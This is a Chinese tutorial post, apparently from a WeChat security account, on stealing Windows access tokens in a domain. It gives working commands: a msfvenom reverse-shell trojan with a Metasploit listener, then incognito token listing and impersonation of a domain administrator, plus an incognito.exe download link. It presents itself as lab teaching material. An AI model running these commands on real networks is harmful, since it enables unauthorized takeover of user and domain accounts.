宇宙免责声明!!!
本推文提供的信息、技术和方法仅用于教育目的。文中讨论的所有案例和技术均旨在帮助读者更好地理解相关安全问题,并采取适当的防护措施来保护自身系统免受攻击。
严禁将本文中的任何信息用于非法目的或对任何未经许可的系统进行测试。未经授权尝试访问计算机系统或数据是违法行为,可能会导致法律后果。
作者不对因阅读本文后采取的任何行动所造成的任何形式的损害负责,包括但不限于直接、间接、特殊、附带或后果性的损害。用户应自行承担使用这些信息的风险。
我们鼓励所有读者遵守法律法规,负责任地使用技术知识,共同维护网络空间的安全与和谐。
一、令牌(Token)简介
-
Windows访问令牌(Access Token)是描述进程或线程安全上下文的对象,包含用户身份标识(SID)、所属组权限、特权列表等信息它作为临时的安全凭证,允许用户在不重复提供密码的情况下访问系统资源。
-
它决定了进程可访问的系统资源范围,是权限验证的核心依据。 -
可以理解为,当前系统中的某个进程或者线程能访问什么样的系统资源,取决于当前进程拿着什么样的令牌。
-
用户登录后,系统生成唯一的主令牌(Primary Token),用于进程创建时的权限验证,新进程默认继承父进程的令牌(如通过图形界面双击程序时继承 explorer.exe
的令牌)
-
explorer.exe是Windows资源管理器的核心进程,提供用户与操作系统交互的图形界面,包括桌面图标、任务栏、开始菜单、文件资源管理器窗口等
-
令牌在进程/线程创建时会被完整复制一次(而非持续拷贝),且不同进程的令牌相互独立(比如:用户A的进程无法操作用户B的资源) -
令牌通过身份认证生成(如密码/NTLM哈希),攻击者无法直接猜测,但可通过窃取进程句柄或注入代码复制/假冒令牌(如窃取域管理员令牌实现横向移动)。
二、令牌的分类
-
在Windows系统中,Access Token有两种类型
-
Delegation Token(授权令牌)
-
支持交互式会话登录:用于本地用户登录、远程桌面(RDP)等场景,支持完整的身份验证流程。 -
生命周期:用户注销后降级为模拟令牌,但仍保持有效直至系统重启。
-
Impersonation Token(模拟令牌)
-
非交互式操作:适用于网络共享访问( net use
)、远程管理协议(如WMI、WinRM)等场景,权限范围受限。 -
临时性:仅在当前会话中有效,但系统重启前仍可被利用
-
令牌清除机制
-
系统重启后清除:无论是授权令牌还是模拟令牌,均会随系统重启被完全删除。 -
用户注销后的状态变化:用户通过交互式会话(如远程桌面)登录时生成的授权令牌,在注销后不会立即失效,而是降级为模拟令牌,仍保留在系统内存中,直到重启。 -
即使管理员用户已注销,攻击者仍可通过工具窃取其残留的模拟令牌,伪造身份执行操作
三、令牌权限
-
Windows系统默认遵循最小权限原则,用户仅能枚举自身及更低权限用户的访问令牌,例如:
-
若当前进程以普通用户身份运行,无法查看Administrator或SYSTEM进程的令牌 -
当进程具备Administrator或SYSTEM权限时(如通过永恒之蓝漏洞提权至SYSTEM),可枚举系统中所有令牌(令牌的数量,取决于当前shell的访问级别)
-
通过exp提权或者永恒之蓝等得到的权限为system,假如攻击者利用mimikatz和hashdump不能获得Administrator用户的密码,那就需要通过通过令牌窃取进行权限转移,获得Administrator用户的shell, 然后再以Administrator用户的身份启动某些服务。
-
注意:令牌窃取≠提权,令牌窃取是权限转移而非权限提升,例如:
-
从SYSTEM进程窃取Administrator令牌属于降权操作,但可实现特定目标(如启动仅允许Administrator运行的服务) -
提权需依赖漏洞(如内核溢出、服务配置错误),而令牌窃取仅需令牌存在且可被复制
四、令牌窃取
-
令牌窃取的本质:攻击者通过复制高权限进程的令牌,注入到自身进程中,以冒充目标身份执行操作。(这一过程不涉及漏洞利用,而是权限转移) -
场景举例
-
初始入侵与本地提权:获取普通用户的Meterpreter Shell,提权至SYSTEM
-
枚举残留令牌:发现存在域管理员( DOMAINAdmin
)的模拟令牌(因管理员曾通过RDP登录跳板机并注销)。
-
令牌窃取与身份伪造:将当前线程令牌切换为域管理员令牌。
-
横向移动至域控服务器:使用域管理员令牌调用 psexec
远程执行命令
五、通过MSF的incognito工具进行令牌窃取
-
当通过一些漏洞或者提权方式获取到一个system权限的Meterpreter会话后,可以使用MSF中自带的incognito工具进行令牌窃取 -
先通过msf上线目标域内机器
-
通过msf生成exe木马
msfvenom -p windows/meterpreter/reverse_tcp lhost=10.10.1.107 lport=6666 -f exe >test1.exe
-
启动msf监听
msfconsole
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set lhost 10.10.1.107
set lport 6666
run
-
执行exe木马获得一个system权限
-
做实验的时候可以使用psexec获取一个system权限的命令行,通过这个命令行执行exe木马msf就会获得一个system权限的shell
-
此时通过 dir
命令查看域控的c盘会发现权限不够
dir \10.10.1.228c$
-
通过 tasklist -v
命令发现存在域管进程(以域管理员身份运行的进程)
-
在meterpreter下查看当前可用的令牌
use incognito
list_tokens -u
-
窃取域管的令牌
impersonate_token 'LazyAdministrator'
-
窃取成功后通过 getuid
命令发现当前权限为域管,此时即可执行管理员才能执行的操作
六、Windows下使用incognito
-
下载地址:https://github.com/milkdevil/incognito2/blob/master/incognito.exe -
列举
incognito.exe list_tokens -u
-
窃取域管令牌
incognito.exe execute -c "LazyAdministrator" cmd.exe
课程介绍链接:https://www.yuque.com/syst1m-/blog/lc3k6elv0zqhdal3?singleDoc# 《课程介绍》
外部交流群(欢迎进群互相交流),由于群人数超过了200,只能邀请拉群,可以关注公众号,后台回复“加群”,获取助手绿泡泡,联系小助手邀请进群
原文始发于微信公众号(Zer0 sec):域渗透入门-令牌窃取(含复现步骤)
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论